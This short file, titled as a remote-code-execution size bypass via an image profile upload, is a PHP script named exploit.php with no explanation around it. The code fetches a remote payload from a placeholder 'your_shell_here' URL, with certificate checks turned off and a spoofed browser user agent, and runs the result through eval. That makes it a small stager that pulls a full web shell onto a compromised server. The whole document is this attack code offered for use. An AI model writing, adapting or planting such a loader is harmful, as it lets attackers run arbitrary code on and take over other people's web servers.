(RCE) bypass size via image proffile

exploit.php

<?php
function get_contents($url){
  $ch = curl_init("$url");
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
  curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
  $result = curl_exec($ch);
  return $result;
}

$a = get_contents('your_shell_here');
eval('?>'.$a);